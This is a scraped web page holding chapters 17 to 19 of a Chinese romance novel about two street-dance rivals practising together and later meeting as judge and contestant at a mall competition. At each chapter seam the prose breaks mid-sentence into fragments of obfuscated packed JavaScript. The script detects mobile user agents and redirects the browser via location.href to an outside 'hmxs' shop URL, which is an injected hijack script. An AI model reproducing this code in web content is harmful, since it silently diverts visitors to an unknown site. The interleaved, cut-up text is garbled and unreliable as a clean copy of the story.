RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848837|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这附近有没有街舞培训班或者舞社，能借用一间教室让我和木南苏练舞就行。 【卢择】：你和木南苏不是去李尚那边吗？发生矛盾了？ 【顾以默】：你别管了，反正不能去了。 【卢择】：行~护妻是吧，懂了懂了！ 【顾以默】：滚一边去！妻什么妻！你要是敢和别人乱说，你看我回去怎么收拾你。 【卢择】：哇！我好怕怕啊！ 和卢择互怼几句后，顾以默就被老妈叫去帮忙收拾碗筷。 将手中易拉罐里的最后一口酒喝完，他便将手机锁屏放在桌上，懒懒地走到厨房刷碗。 等木南苏一家走后，顾以默瘫在沙发打游戏，却被老妈嫌弃。 顾以默为自己鸣不公，“人家都说放假前几天会感受到浓郁的母爱，我的母爱去哪里了？” “我怎么没给你母爱，你回来那天我不是去接你了吗？”顾妈妈端着水果坐到他身边，打开电视翻找着想看的电视剧，“我就好奇了，到底什么样的人可以入你们冠军的眼，你和苏苏找对象怎么那么难。” 顾爸爸闻言放下手机，也一起帮腔：“就是，看你让我老婆操心成什么样了！” 顾以默猝不及防被这两位老夫老妻了狗粮，在内心直呼崩溃，赶紧捂紧肚子说自己肚子疼，躲进卫生间坐到马桶上松了口气。 “诶！你......” 顾妈妈在门外看着顾以默消失在自己的视线里，对着卫生间的方向深感无语，只能硬生生将还没说完的话咽回，闷闷不乐吃着自己碗里的水果。 等了片刻，顾以默没再听见念叨，但他清楚自己如果现在出去肯定会重蹈覆辙，短暂考虑一番，他决定先洗个澡拖延一下时间。 二十分钟后，顾以默关掉淋浴头，随后听到一阵关门声。 他贴着门听了听，确认电视关闭，爸妈不在家，才彻底松了口气，穿着浴袍出来到书房的抽屉里取来吹风机。 等一切忙完，顾以默这才悠闲地坐回沙发，拿过手机点开沈一川的作业，见他有进步便没有为难他，提了些意见就没有再说其他的要求。 顾以默松口气看向窗外，即便此刻已经晚上九点，对面的写字楼依然是灯火通明，他甚至可以看到里面的办公人士忙碌的脚步。 思绪飞上云霄的顾以默被敲门声唤回了神，他转身抬步前去开门，发现是穿着睡衣的木南苏。 此刻端着葡萄的木南苏被顾以默这身随意的装扮惊到，特别是视线移到他胸前的肌肤，结结巴巴地对他开口：“我我我我妈买了葡萄，让我给你们送来点.......” 顾以默笑着道谢，见木南苏的耳朵再次通红，奇怪地关心道：“你最近耳朵怎么老是红，要不要去医院看看？” 木南苏闻言，慌乱将手里的一碗葡萄放到他手里，表情不自然地说了句热的，转身以不紧不慢的速度关门回家。 顾以默一脸懵地看完全部过程，抱着葡萄不理解地眨了眨眼。 那扇防盗门后，木南苏紧抓把手，低头努力缓解着自己脸上的热度和心跳。 等一切恢复如初，他听到什么动静才转身回到房间，对正在摆奖杯的老妈不理解说道：“妈，你怎么又把我的奖杯和证书摆出来了？” 木妈妈闻言抬手轻拍了他的头，“你不让妈贴墙上，也不让妈摆上来，这些街舞奖杯和证书是你偷的吗？” 木南苏无奈，不再发表意见，坐在一旁收拾屋子，任由老妈随意在房间摆弄他的奖杯。 大不了等晚上，他再收回去。 17. 秘密基地【修改部分内容】 顾以默没有再带着木南苏去之前的街舞培训班练舞，而是来到一片人少安静的广场。 昨天卢择发给他几个地方，顾以默都给否了。 要么太远划不来，要么就是里面的人和自己有过节，在种种原因下，他想到以前高中时候只有自己知道的秘密基地。 本来只是碰碰运气，却没想到这地方真的还在。 “怎么样？回归本质。”顾以默从包里拿出一个便携音箱和两个伸缩支架，笑着对木南苏炫耀自己的劳动成果，“去什么练舞室，这地方多好，够real够自由！就是有点热。” 木南苏被他这一番言论逗笑，同时也对他齐全的设备感到好奇，“你这么多东西哪来的？” “偷拿我爸妈的，你可别捅出去。”顾以默将手机蓝牙打开链接到音箱上，翻着歌单告诉木南苏实话。 木南苏笑着应好，站在一旁看着顾以默的侧颜。 即便面前的人只字不提，他心里还是十分清楚顾以默这么做的原因，心跳也随即加快，仿佛在企图促使着什么。 他将手背到身后掐了自己一把，手臂疼痛感让他恢复了些理智，慌乱地将眼神移开，不再看顾以默。 片刻后，顾以默将包和音箱放到地上，把手机夹在支架上，用前置摄像头充当镜子，热身准备继续昨天没完成的计划。 看向一旁的木南苏，见他已经进入状态，顾以默便没有管他，回过头点开录像按钮以身体和手臂的wave开场，踩着节奏开始从基本功逐渐打开自己。 这期间顾以默喝水休息的时候会被木南苏拉着问问题，起初他没发现什么不对，毫无保留地把木南苏当徒弟教，带着木南苏一起复盘。 直到手机里的回放播到他们比赛的场景，顾以默才想起他和木南苏似乎还是对手的关系....... “终于意识到什么了？快把压箱底的东西都教给我了吧。”木南苏见他如梦初醒的模样，忍不住得意地打趣道。 顾以默懊悔不已，企图挽回一丝面子对木南苏嘴硬：“你学得了我的动作，但学不来我的气质！”说完为了避免造成更大的损失，顾以默转身拿起东西就撤离到十米开外。 木南苏被他那副吃瘪的样子逗笑，将手机调整到满意的角度按下录制按钮。 室外不及室内，即便顾以默找的地方是阴凉处，但还是比不上开着空调的室内练舞室，没一会他的衣服就被汗水淋湿，紧贴在身上。 到了傍晚，来来往往路过的人也会好奇地看向他们，顾以默也不会受多大的影响，毕竟大部分比赛的时候也是当着众人的面，他早就习惯了。 就是....... “你们这个是什么舞啊？怎么身体跟踩电门似的。”一位穿着白色背心的老大爷扯着嗓门，对坐到花坛旁边休息的顾以默好奇问道。 顾以默被这个比喻逗笑，耐心地和大爷闲聊：“我们这是机械舞，可不光踩电门，还得走电路呢。”说完伸手对着大爷做了一个手部的wave。 大爷被这轻松流畅的动作震惊到，以为顾以默这是什么武功，立马向他讨教秘籍。 顾以默也配合大爷一起开着玩笑，直到大爷被老伴喊走，这场关于名为popping的武功讨论会才算结束。 木南苏从“走电路”的阶段就一直在旁边忍着笑听顾以默瞎扯，等大爷走远便开口对顾以默说：“你管pop叫踩电门，wave叫走电路，那roll呢？” 顾以默停下收拾东西的动作，看向木南苏认真地回答了他的问题：“缠胶带。” 话音落下，木南苏微微愣住，随即明白了他的意思后笑出声。 “走吧，请你吃饭。”顾以默站起身对木南苏说，“赌约你赢了一半，想吃什么随便说。” 木南苏朝他眨眨眼，仿佛预谋已久的样子让顾以默有些心慌...... 二十分钟后，顾以默满脸震惊地看着木南苏带自己来到高中门口排队买炸串卷饼，诧异地和他确认：“你就让我请你吃这个？” “对。”木南苏点头。 顾以默依旧觉得不可思议，他以为木南苏会拉着他去吃自助餐，或者别的平时舍不得吃的东西，却没想到木南苏这么居然只是来吃这些。 排到他们的时候，顾以默眼睁睁看着木南苏拿起盘子把冷柜上的菜拿了个遍，还交代老板如果一个装不下就装两个。 顾以默刚付完钱，老板的支付提示音响起。 “您已到账40元。” 这一声机械的提示音让他们瞬间成为学生们焦点，连老板都震惊地看了他们一眼。 顾以默更是在这样出乎意料的情况下，实现了一件他们曾经最想干但对当时的他们而言极其奢侈的事情，惊讶地看向木南苏，看到他正满怀期待地看着老板熟练的操作，无奈笑笑。 算了，毕竟说要请他吃饭，就由着他来吧。 几分钟后，顾以默拿着两份夹着满满当当炸串的卷饼递给木南苏，看他只拿了其中一份有些奇怪。 “给你的，一起吃吧。”木南苏歪头朝他笑笑，说完就迫不及待地咬了一口，好像终于吃到梦寐以求的东西发出了满足的声音，还不忘继续邀请着他，“快吃，一会凉了就不好吃了。” 顾以默本身不饿，却被木南苏的吃相带得让他有些馋。 再加上手中的馍飘着香气，最上层切碎的炸鸡排满是酱料，很是诱人。 他迫不及待将包装打开也咬了一口，独特的甜咸酱料瞬间勾起他多年前的记忆，不可思议地又带着试探咬下一口细细品尝，确认并不是自己的错觉后惊讶看向木南苏问道：“这是不是我们以前经常吃的那一家？” “对！”木南苏见他认出，激动朝他点头肯定道，“我每次回来都会来这里吃一次，但多数情况下都因为处于假期这里休息，所以今天来碰碰运气，没想到老板居然在这里开了一家门面房。” 顾以默了然点头，趁着木南苏走神，百试不厌地再次低头咬了一口木南苏的卷饼，猝不及防的辣味侵入味蕾，他被呛得眼泪瞬间夺眶而出。 木南苏听到身边传来咳嗽的动静，赶忙回过神来担忧地看向他，见他只是被辣椒呛到，提在嗓子的心这才放下，抬手帮他顺气时余光瞥见一家饮品店，干脆将他往那边带去笑道：“去那边，买点能解辣的东西喝。” 顾以默点头应好，便和他一起前去。 他们一路顺着街道悠闲逛着，记忆里停在校门口的路边摊有些已然变成了商铺，而有些他们曾经经常光顾的摊位却仿佛和他们的青春一起定格在了那个毕业的夏天....... 顾以默一路和木南苏闲逛着，聊着曾经的同时，不知不觉双手便拿满了东西。 “你看，这些像不像我们回忆的具象化？”木南苏抬起手里的物品袋，在他们眼前晃了晃，“让你破费了，谢谢你陪我来这里。” 顾以默看着他手里的东西，点头应是，听他突然变得客套起来，惊讶挑眉笑道：“谢什么，既然答应了请你吃饭，总要让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848838|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心满意足回去才行。” “不止是因为这个......” “那还有什么？” 木南苏笑看着顾以默的眼睛，张了张嘴欲言又止，像是下了什么决心又狠心舍掉一般，最后仅留下一抹笑意：“没什么，天色不早了，我们回去吧。” 顾以默深感疑惑，但看木南苏不愿意继续说，他也只好不追问下去，勾唇点头应好，并肩迈向这条曾经走了六年的回家路。 天色渐暗，路灯却依旧为每个过路的人带来光亮。 顾以默临到家门口突然接了个电话，便与木南苏一起调转脚步走向旁边的安全通道。 “卢择刚刚和我说，我们可以等几天再回去。”顾以默挂断电话，和木南苏转达着刚才得到的消息，“正好这里有比赛，问我们愿不愿意当裁判。” “你呢？”木南苏反问。 顾以默抿嘴思考着，随后点头笑道，“不想比赛了，想歇一会，所以这次当裁判。” “那我这次还是选手。”木南苏移开眼神，看向别处说，“可惜这次有点无聊，比赛还没开始就看到了结果。” 顾以默被他这句话逗乐，伸手摸了他的头，“要学会享受逐个堵嘴的乐趣，毕竟没有什么比那些指点江山的人求饶更有看点了。” 他说完便重新回到家门口，从兜里拿出木南苏的家门钥匙放到他手里，对他勾唇道声晚安，转身开门。 木南苏耳边还回荡着顾以默的安慰，将钥匙紧紧握在手心，看向顾以默家门的方向红着眼睛思绪万千。 在听到身旁的动静他连忙擦掉眼泪，转头和老妈打招呼。 凌晨一点，顾以默正带着耳机整理beat，一杯牛奶出现在视线范围内。 他顺势抬头看去，感觉老妈似乎有事和他说，顾以默将音乐暂停摘掉耳机问道：“妈怎么了？” “没事，来看看你。”顾妈妈在他身边坐下，“你们的比赛要不要门票？怎么去看？” 顾以默闻言回想着卢择给他说的比赛地点，好像是在.......与蓬购物中心？！ 顾妈妈被顾以默突如其来的惊恐吓到，“怎么了你这是、” “啊......妈我没事。”顾以默收了收自己的情绪和表情，“我们比赛场地还没定，等定了再和您说。” 顾妈妈见儿子真的在忙，也没有打扰，说了让他早些睡便关门离去。 等老妈走后，顾以默拿过手机和卢择打电话。 “顾以默你是不是有病，你看看现在几点了！”卢择带着怒气的声音从电话里传来，显然是睡着之后被这个电话吵醒的。 顾以默没有管那么多，直奔主题开口问：“现在这个比赛场地还能换吗？是已经定好了对吗？” “嗯，换不了了，你有什么事吗？”卢择听出来顾以默语气中的急迫，正了正语气问道。 顾以默伸手捏眉心，说了没事便挂断电话，心事重重地挂了电话继续整理beat，却发现自己根本无法集中注意力...... 无奈之下，顾以默只好放弃工作起身去卫生间洗澡，让自己清凉的同时头脑清醒一下。 片刻后，他躺在床上缓缓闭上眼，眼前却逐渐浮现一个场景。 穿着背带裤的小木南苏被一个中年妇女抱着往前走，他挣扎着想下来，哭得撕心裂肺对在后面奋力追赶的顾以默喊着“哥哥”。 可这些求助和挣扎只会让女人走得更快，顾以默在后面怎么追都追不上...... 18. 裁判 周末中午，顾以默打着哈欠从工作人员手里拿过裁判证戴到脖子上。 他接连几天晚上睡眠都是断断续续，一直在做着关于木南苏走丢的噩梦，醒来直接浑身冷汗，心慌意乱，到现在都还没彻底缓解....... 顾以默深叹口气，伸手捏捏眉心，冷脸扫一圈此刻正在商场大厅跟着音乐群魔乱舞热身的选手们。 卢择见他懒散的样子有些无奈，拿过popping的选手牌往自己身上贴，笑着打趣：“一让你上午早起就打哈欠摆臭脸，生怕别人不知道你是被迫叫起来的吗？” “这场比赛全成我关系户了。”顾以默挑眉看着卢择贴牌的动作，故作头疼地吐槽，“发小，师兄，徒弟，师侄，我是不是应该庆幸付宵凡这次不参赛？” 卢择将号码牌贴好，拿起笔准备在报名表上写名字，听见这句话转头看向他起哄，“什么发小，不是前男友吗？而且就你这大义灭亲的样子，指望你还不如留点精力，祈祷DJ能放个节奏平稳的beat！” 顾以默瞥他一眼无声警告着，见他依旧笑得不怀好意，也懒得再理，掏出手机看了眼时间，转身朝着门口的方向走去。 这家位于市中心的商场人流量一直很大，所以在周末将比赛办到这里，的确是最佳的选择。 顾以默逆着人流来到门口呼吸新鲜空气，从衣兜里拿出一根棒棒糖打开放进嘴里，糖果的奶香味逐渐在他嘴里散开，顾以默紧皱的眉头随即跟着舒展。 这期间有不少参赛选手和他打招呼，顾以默都会轻微点头回应，直到看见了扎着脏辫的DK。 顾以默抱臂往旁边走了几步挡住他的路，低下头压着声音对他警告：“别忘了我和你说的。” DK紧紧攥住衣角，明显不服气但又不敢硬碰硬，没有说话绕过顾以默往里走去。 顾以默眯眼看着DK的背影，勾唇冷笑一下将视线继续移回门口。 片刻后，身穿纯白短袖淡紫运动裤的木南苏出现在了顾以默的视野里，他被两位妈妈夹在中间走着。 木南苏束手束脚的模样莫名戳中了自己的笑点，顾以默实在没忍住偏头幸灾乐祸。 “别笑了！能不能救我一下？”木南苏走到顾以默面前，恼羞成怒小声抱怨。 顾以默还是没止住笑，轻啧一声嘴角上扬地对他说：“怎么和裁判说话的？小心一会让你连海选都过不了。” 话音刚落他就感受到胳膊传来一阵疼痛，让他倒吸凉气。 “你怎么当裁判的？小心一会让你连家门都进不了！”顾妈妈在一旁拧着顾以默的胳膊咬牙警告，解气后才放开他，拉着闺蜜往商场走去。 顾以默呲牙揉着自己胳膊发红处，等疼痛缓解转身让木南苏跟着自己进去，顺便把他衣兜里的棒棒糖递给木南苏，“跟紧了，带你比赛去。” 木南苏拿过棒棒糖，意会到顾以默刚才种种行为是在帮自己分散注意力，跟着他一起走进商场将它打开放进嘴里，嘴角情不自禁地上扬。 好甜....... 来到比赛场地，顾以默让木南苏先去找沈一川他们，自己替木南苏来检录处报名。 他拿过popping组的报名表，看见DK的名字有些吃惊，随即而来的便是从心底里的烦躁。 他这是准备干什么....... 顾以默不耐烦地皱眉，嘴里咬着棒棒糖棍抬起头朝着DK的方向看去。 他记得DK并不擅长popping，是从他手里随便挑出一个学popping的普通学员都能碾压的水平。 顾以默皱眉思考，猜到了DK的目的冷笑一下，在相应的号码旁边写上了木南苏的名字，拿起号码牌转身离开。 “师叔这次你是裁判吗？！”卞澈看到了顾以默的裁判证，满脸羡慕地移不开眼，“我要是能戴上这个，我都觉得我的街舞生涯已经圆满了.......” 沈一川在旁边更是一个劲点头，搭着卞澈的肩附议，“这种把别人的命运握在自己手里的感觉，想想都觉得激动！” 顾以默无奈，干脆将裁判证取下放到他们手里，让他们过个当裁判的瘾，走到卢择旁边说了前几天和DK的事情。 “我怎么说有一天晚上李尚突然给付宵凡打电话，问木南苏的喜好什么的。”卢择听完恍然大悟，摸着下巴分析道：“那DK百分百就是冲着木南苏来的。“ 顾以默看向正在做热身的木南苏，虽然对于木南苏夺冠这件事自己也很不服，但木南苏实力不弱这个事实他也绝不否认。 可以说仅次于他，顾以默心里评价道。 木南苏似乎察觉到顾以默的目光，咬着棒棒糖鼓着腮帮子顺势看去，疑惑地朝他走去，口齿不清地问道：“怎么了？” 顾以默摇头，将手里的号码牌递给木南苏，拍了拍他的肩膀让他加油，轻声嘱咐道：“你要是有什么不舒服，就和我说。” 木南苏愣住，心底流过一丝暖流，被顾以默拍过的地方也有些发热。 他感受到自己的不对，慌忙应好，将脖子上的毛巾盖在头上，故作淡定地跟着beat练基本功。 再三确认自己的侧脸和耳朵被毛巾遮挡严实，木南苏的视线悄悄往外看去，确定顾以默没有注意到他后悄悄松了口气，走到人少的地方拿手扇着风试图降温。 顾以默低头看了下时间，便从沈一川手里拿过裁判证带到脖子上，到检录处拿过打分表和名单。 “人又不够是吗？”顾以默认真地核实名单，皱着眉头和工作人员交谈着，“这次是哪个组？” 工作人员见顾以默有些烦躁，有些怕他发火连忙解释：“对.......但差得不多，popping组的人还是偏多的，其他组也就是几个人。” 顾以默思虑片刻，先斩后奏地拿起笔在hiphop组的名单上写了卢择的名字，并随手在旁边拿了个号码牌，强忍住笑意在他名字旁边写下了01。 两分钟后—— “卧槽顾以默！你别以为你今天是裁判我就不敢揍你！你这破手气还真敢拿给我！”卢择哀怨地把号码牌贴在身上，对着始作俑者大喊道。 转头看见和沈一川说笑的卞澈，卢择心里十分不平衡，对着他喊：“卞澈，breaking还缺一个人，正好你去吧。” 本在和沈一川愉快讨论游戏的卞澈闻言大声哀嚎，想拒绝又不敢，拖着身体来到检录处报名，在心里把沈一川从头到脚羡慕了个遍。 顾以默坐到裁判的位置上，听到动静转头笑笑，伸手接过工作人员递来的名单翻看着。 “hello，大家好，我是顾以默。” 这句愉快的招呼声响起，全场的选手和群众的目光全都集中到一处，坐在椅子上的顾以默本人抬头看去，发现面前原本是主办方logo的大屏此刻换成了他的视频简介。 “本届少儿街舞大赛popping组亚军是顾以默！” “恭喜顾以默成为少年组popping总冠军！” “CongratulationstoEamonforwinningthechampionship！” “Eamon！” “......” 顾以默将手里的报名表放下，抱臂看着这些一个又一个夺冠现场。 从最初的年幼懵懂，到十几岁的年少狂喜，再到二十几岁的从容....... 唯一没有发生变化的，是他每次领奖时的大汗淋漓....... “我的天顾以默都拿了那么多冠军了.......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848839|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我去......冠军收割机名不虚传啊.......” “即便偶尔得过亚军季军，他也永远是让人记住的那一个！” “这是真正意义上用汗水一步一步走到今天啊.......” 木南苏站在人群前排，认真看着每个片段。 即便这些画面他曾看过无数次，他还是能对这些耳闻能详的颁奖词和介绍感到一片触动，瞳眸泛着专注与片片泪花紧盯屏幕，生怕错过半秒。 视频播放到某一年的领奖时，顾以默得意的表情瞬间僵住，他原本轻松的情绪逐渐变得沉重，鼻头一酸，眼前随即有些模糊。 画面中的少年拿着世界冠军的奖杯四处张望着，随后满脸欢喜地对着一个方向挥手，并站直身体深深地鞠了一个躬，将奖杯高举在头顶。 顾以默十分记得，这是他第一次拿下世界冠军的场景。 而他看的那个方向，当时坐着他的师父陈暮........ 感受到什么东西滴在手背，顾以默低头看去才发现是眼泪，伴随他低头的动作，又一滴泪水落下。 顾以默缓缓闭上眼，想借此来阻挡眼泪肆意流出。 木南苏余光察觉到了顾以默的不对，紧皱眉头下意识迈出一只脚想朝着那个方向走去，却在下秒又收回原处。 他知道顾以默此刻在自己缓解情绪，如果他现在过去，应该会有不少人注意到那边...... 木南苏无奈地叹气，只能和老妈一起安抚在他身边不停抹泪的顾妈妈，“干妈，我给您说几件顾以默的事情，您别和他说啊。” 顾妈妈一听满脸好奇地看向他，等木南苏说完瞬间破涕而笑，并成功地转移注意力开始聊他们小时候的事情，“你刚出生那会来我们家，一看见以默就哭，但还是喜欢拉着他的手不松开，一边拉着一边哭.......” 顾以默听到老妈的笑声回头看去，正好对上木南苏的视线。 见他对自己笑，顾以默用口型和他说了加油，便继续拿着名单准备开始海选。 “非常荣幸顾老师能担任我们本次比赛的裁判！” 视频过后，在一旁站着的MC拿起麦克风走到舞台中央，照例念了一遍广告词，随后宣布breaking组的海选正式开始。 “请我们1到10的选手上台......OK！DJ,Let''sgo！” 顾以默右手拿笔，认真看着面前选手的表演。 从这位选手的技术、节奏、动作失误几个方面快速做出判断，听着MC倒计时，赶在下一位选手上场之前在心里对刚才的表演进行评分并写在打分表上。 他对海选的把控向来很严，毕竟晋级名额是固定的32名。 但在打分上顾以默会手下留情，只要动作没有出现非常基础的失误，十分制的评分标准，他一般都会给到8分以上。 70名选手表演完毕，breaking组海选结束，顾以默将评分表交给工作人员统计才松口气，趁机喝了口水靠在椅背揉眉心，尽显疲态。 这次breaking没有太出色的选手，除了被临时拉来凑数的卞澈让顾以默觉得有一点惊喜之外，好像也没什么能让他把分数给到接近10分的选手。 他感受到有人靠近便睁开眼睛，木南苏好像有什么事要找他，坐直身体叫住木南苏打趣着问道：“有事吗？可别告诉我你是来求我给你开后门的。” 正准备走的木南苏闻言回头，努嘴考虑一番对顾以默说道：“好像是来拜托你开后门的，不过不是给我。” 顾以默一时没反应过来，疑惑地看着木南苏。 “帮我把DK留住，如果他海选表现实在太差，也不必强留。”木南苏说完对顾以默浅浅一笑，转身走向舞台区域。 19. 发火 顾以默错愕，他想过木南苏不会拜托他任何事，却没想到木南苏要公报私仇。 这个情况虽说是情理之中，但还是让顾以默觉得有些意外。 他低头看了一眼名单，单手撑头看着木南苏走向舞台，满脸看戏模样扫了一眼眼前的十名选手。 目光停留在最靠边的DK身上，顾以默看见他贴着的10号牌，在心里祝他好运。 “欢迎大家重回我们的比赛现场。”MC等场上的选手站定后拿出麦克风，为了活跃气氛大声宣布popping组的海选就此开始。 “我刚才看了popping组的名单，妥妥的死亡之组！” “而且裁判还是顾以默，那木南苏肯定是内定的冠军，没跑了！” “我刚才听说DK和顾以默还有过节，指不定什么原因，我听说......” “哇！这么带劲的吗！” 顾以默本来想借着音乐声音大在心里骗自己听不到，他相信木南苏会用实力堵住这些人的嘴。 但他身后几个越说越离谱，甚至还将他们和某些不堪入耳的话题牵扯在一起。 他懒得转头，面视前方握着右手边的矿泉水，紧握瓶身毫无征兆地用力砸在桌子上。 “咚！” 这声带着警告气息的巨大闷响让身后的议论瞬间戛然而止，连在舞台上跟着beat热身的选手和工作人员都停止动作，看向顾以默。 木南苏心里一震深受惊吓，他长这么大，只见过顾以默发过两次脾气，一次是高中，一次是现在....... 舞台离裁判位置有一段距离，在嘈杂的环境下，瓶子砸向桌子的声音他却听得一清二楚...... 他下意识皱眉盯着顾以默，虽然不知道发生了什么，但看顾以默冷着脸的模样，木南苏真的担心他会一时冲动。 直到顾以默跟没事人一样拿起水瓶打开喝了一口，木南苏这才把提到嗓子的心咽下去，继续练着基本功。 耳边终于清静，顾以默悠闲地喝完水将瓶子放回原处，朝着MC点头示意可以继续比赛，仿佛刚才发火的人并不是他。 MC赶忙回神，拿起麦克风让同样如梦初醒的DJ继续重新放一边beat，“DJ我们开始！” “孩子，阿姨问你，以默他在经常对你们这样吗？”顾妈妈也被刚才那一阵声响吓到，轻轻拍了一下在旁边准备上台的沈一川问道。 沈一川连忙摆手，礼貌地和顾妈妈实话实说，“不不不是的，阿姨您别误会，师父他虽然严格，但是平时真的很少发火的。” 顾妈妈还是觉得奇怪，但害怕耽误沈一川练习便没有继续再问，将疑惑藏在心里继续看比赛。 “three、two、one，下一位！”随着MC的倒计时，木南苏无缝衔接，滑着流利的侧滑步来到舞台中间。 他的身体跟着右手的摆动顺畅轻松地完成跟随wave，随即用腰部roll将弯曲的身体带起，以全身pop做过渡后弯曲双臂继续下一个动作....... 顾以默看得出来木南苏全程都在韬光养晦，但他所展现出来的水平用来堵嘴却是刚刚好。 他身后此起彼伏的欢呼声就是最好的证明。 看木南苏的动作有收尾的迹象，顾以默勾唇拿起笔在06号后面的打分处写上9.5。 抬眼发现木南苏在喘着气看自己，一副期待的模样像极了他小时候期待自己能从背后变出糖的样子。 顾以默知道木南苏在问分数，但为了比赛秩序他没有回答，轻摇一下头便将眼神从木南苏身上移开。 木南苏见状有些沮丧，在内心反省是不是刚才什么动作做得不对让顾以默对他有些失望.......低着头走回自己的位置，将舞台交给下一位选手。 每名选手50秒的表演时间，很快就到了DK。顾以默将笔放在桌子上向后靠在椅背，一副悠闲的模样看着舞台。 他倒想看看DK这几天除了脾气见长，水平有没有跟着脾气一起长。 DK走到舞台中间找节奏，中途还转过头挑衅地看了木南苏一眼，生怕别人不知道他这次就是冲着木南苏来的。 原本在抿嘴低头的木南苏感受到了视线，缓缓抬头和DK相视一笑。 顾以默被这笑整得毛骨悚然，刚准备移开视线就见木南苏朝他微微抬了下巴，意思不言而喻。 接收到木南苏的信号，顾以默不着痕迹地看向舞台中央的DK，拿起笔咬着笔帽在心里权衡。 “3、2、1！OK！好的谢谢我们这十位选手的精彩表演。”MC的声音想起，顾以默快速地将分数前几名的选手挑出来，将写着号码的纸递给MC让他宣布结果。 MC拿过纸张照着上面读：“恭喜1号、4号、6号和10号晋级复赛！没有晋级的选手也不要灰心，可以关注我们其他赛区的比赛。有请11号到20号的选手准备上台。” 这一结果出来再次引发了争论，但由于刚才顾以默发火的前车之鉴，议论声只针对于刚才选手们的表现和对淘汰选手的惋惜。 顾以默正在整理东西，肩膀被人轻轻拍了一下，他向后看去，老妈正弯腰皱着眉满脸愁容地看他。 “妈，有什么事吗？”顾以默凑近老妈和她耳语，“要不等中场休息的时候再说？这附近都是摄像机。” 话音刚落，MC宣布第二场海选开始。顾以默坐直身体环视一圈，发现了在观众前排看比赛的木南苏，对着老妈指了一下那个方向，示意让她先去找木南苏。 顾妈妈见顾以默已经忙得不可开交，不再给他添麻烦，弯着身子朝着木南苏的方向离开。 全部选手表演完成，popping组的32个复赛名额满员，木南苏他们四个全部晋级。 顾以默趁着hiphop组海选开始之前连忙将打分表整理一下交给工作人员统计，紧接着拿出空白的打分表看向舞台，闭上眼睛松了口气。 睁眼看到站在第一位的卢择，顾以默见他一副生无可恋的模样，实在没忍住闷笑出来。 正往舞台中央走的卢择看他这副模样，强忍着想揍他的冲动做了深呼吸，等DJ放beat。 顾以默笑归笑，卢择开始表演的时候他立马收住笑容，认真看着表演。 他的动作张力很足，灵活和节奏方面更是堪称完美。顾以默真的佩服他，作为popping组最后一位海选的选手，能无缝衔接快速切换自己的状态，这一点连顾以默都做不到。 待卢择表演完成，顾以默跟着全场的欢呼声一起起哄，并拿起笔给他打了10分。 师兄，是时候让你也尝一下同时参加两场比赛的滋味了！ 顾以默咬着笔偷乐，尽量不让自己的幸灾乐祸表现得过于明显。 兴许是卢择的开场太炸裂，往后的选手就没有再让顾以默觉得很惊喜的。即便如此，他依旧和前两场海选一样在心里控制着人数，确保每一位前来参赛的选手都有展示自己的机会。 比赛海选部分结束，顾以默终于等来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848840|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了中场休息，他把笔放到桌子上起身给木南苏发信息。 【顾以默】：你们在哪？ 【木南苏】：舞台旁边的潮牌店，求捞走！ 隔着屏幕感受到了木南苏强烈的求生欲，顾以默有些奇怪地朝着他说的方向走去，刚一进门就见到两位妈妈拿着各种浅色衣服站在木南苏旁边。 顾妈妈拿着一件浅蓝色圆领卫衣放在木南苏胸前比了一下，“还真是啊，苏苏你穿浅色衣服真的比穿黑色好看！” “谢.....谢谢干妈......”木南苏乖巧地对顾妈妈道谢，任由着让她当模特比衣服。 顾以默憋着笑走进店铺，站到木南苏面前努嘴认真看了看，转过头对一旁热衷于选衣服的老妈说道：“但是妈，你有没有想过一个问题，木南苏本身长得就容易被骗，他还穿浅色衣服，这不就是摆明了给骗子送业绩呢吗？” “你以为谁跟你一样，天天穿得跟个混混似的！”顾妈妈不屑地扫了自家儿子一眼，面对着他质问道，“还有，你刚才好端端发什么火？” 顾以默伸手摸了下鼻子，心理抗拒不想回答这个问题。 他东张西望借着逛衣服的由头分散老妈的注意力，随后指着一件米白色纯色圆领卫衣岔开话题说：“妈你看这个衣服，是不是更适合木南苏？” “你少给我转移话题！就你那眼光......”顾妈妈顺着顾以默指的方向看去，顿时话锋一转赶忙招呼着木南苏去试衣服。 